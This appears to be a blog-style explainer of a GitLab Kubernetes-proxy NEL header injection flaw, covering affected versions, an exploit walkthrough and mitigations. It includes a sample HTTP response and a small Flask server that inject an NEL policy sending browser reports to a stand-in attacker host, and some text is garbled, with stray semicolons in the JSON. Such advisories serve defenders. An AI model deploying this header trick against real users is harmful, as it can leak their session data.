CVE-2024-11274 - GitLab NEL Header Injection in K8s Proxy – Exploit Details and Understanding the Risk

A serious security vulnerability— CVE-2024-11274— has come to light in popular source code management platform GitLab Community Edition (CE) and Enterprise Edition (EE). This flaw enables attackers to inject NEL (Network Error Logging) headers into Kubernetes (k8s) proxy responses, potentially leaking session data from affected GitLab instances.

Let’s break down this issue in simple terms, look at how it can be exploited, see some proof-of-concept code, and understand what steps you should take.

Starting from 17.6 to before 17.6.2

If you’re running any of these, your GitLab might be vulnerable.

More details in the official GitLab advisory.

Technical Details – What’s Going On?

The Kubernetes integration in GitLab includes a proxy endpoint, often used to relay API traffic. This proxy didn't correctly filter or sanitize headers, especially the NEL (Network Error Logging) response header.

The NEL header allows a site to specify reporting endpoints for network errors. Attackers can abuse this by injecting a malicious NEL policy, causing clients (browsers) to send error or session info to an external endpoint the attacker controls.

Key result: Session data or other sensitive traffic could be leaked from users interacting with the Kubernetes Proxy within GitLab.

The vulnerable endpoint is generally accessed as

https://gitlab.example.com/api/v4/kubernetes/<cluster_id>/proxy/<proxy_path>;

Let’s look at a simplified exploit scenario.

Step 1: Creating a Malicious Proxy Request

Assume an attacker controls the k8s API (or can trick admins or users into following a crafted link).

They send a request to the proxy endpoint, but inject a custom header in the k8s API response — for example:

HTTP/1.1 200 OK
Content-Type: application/json
NEL: {
  "report_to":"https://evil.example.com/report";,
  "max_age": 86400,
  "include_subdomains": true
}

Step 2: User Gets the Malicious Header

A user with an active session visits a GitLab page that triggers the proxy, or is tricked into it. GitLab’s misconfigured proxy forwards the k8s backend’s NEL header unmodified.

Their browser sees the NEL policy, and now, if certain network errors happen, it could report them (including cookies/session data in some cases) to the attacker's endpoint.

Step 3: Data Exfiltration

If the user later encounters a problem (e.g., a failed fetch), the browser sends a report— including some diagnostic and potentially session data— to the attacker's reporting server.

Demo Python code for a backend attacker sending a malicious header

from flask import Flask, Response

app = Flask(__name__)

@app.route('/malicious_k8s_api')
def malicious_response():
    response = Response('{"status": "ok"}', mimetype='application/json')
    response.headers['NEL'] = '{"report_to":"https://evil.example.com/report";,"max_age":86400}'
    return response

if __name__ == '__main__':
    app.run(port=800)

If an admin links a Kubernetes cluster whose API is under attacker control, and then browses tooling or metrics, they’ll get this injected header via the GitLab proxy.

References

- GitLab Security Advisory
- CVE Record: CVE-2024-11274
- OWASP: HTTP Response Splitting
- Google: Network Error Logging spec

Admins linking third-party clusters.

- Any user/automation that uses the proxy and expects headers to be sanitized.

This is high risk if attackers can supply, intercept, or relay traffic through a cluster API endpoint or trick users into interacting with malicious clusters.

17.6.2 or later (for 17.6)

*Full details in the [advisory].*

Restrict who can register k8s clusters.

- Monitor traffic for signs of NEL header injection or unsolicited outbound HTTP POSTs (reports) to unknown endpoints.

Conclusion

CVE-2024-11274 is another reminder that header security matters— even obscure ones like NEL. If you use GitLab and k8s, make sure you’re patched up, and educate your team on the risks of integrating untrusted clusters.

*Stay safe. For detailed technical breakdowns or mitigation tips, follow GitLab’s security blog.*

Timeline

Published on: 12/12/2024 12:15:22 UTC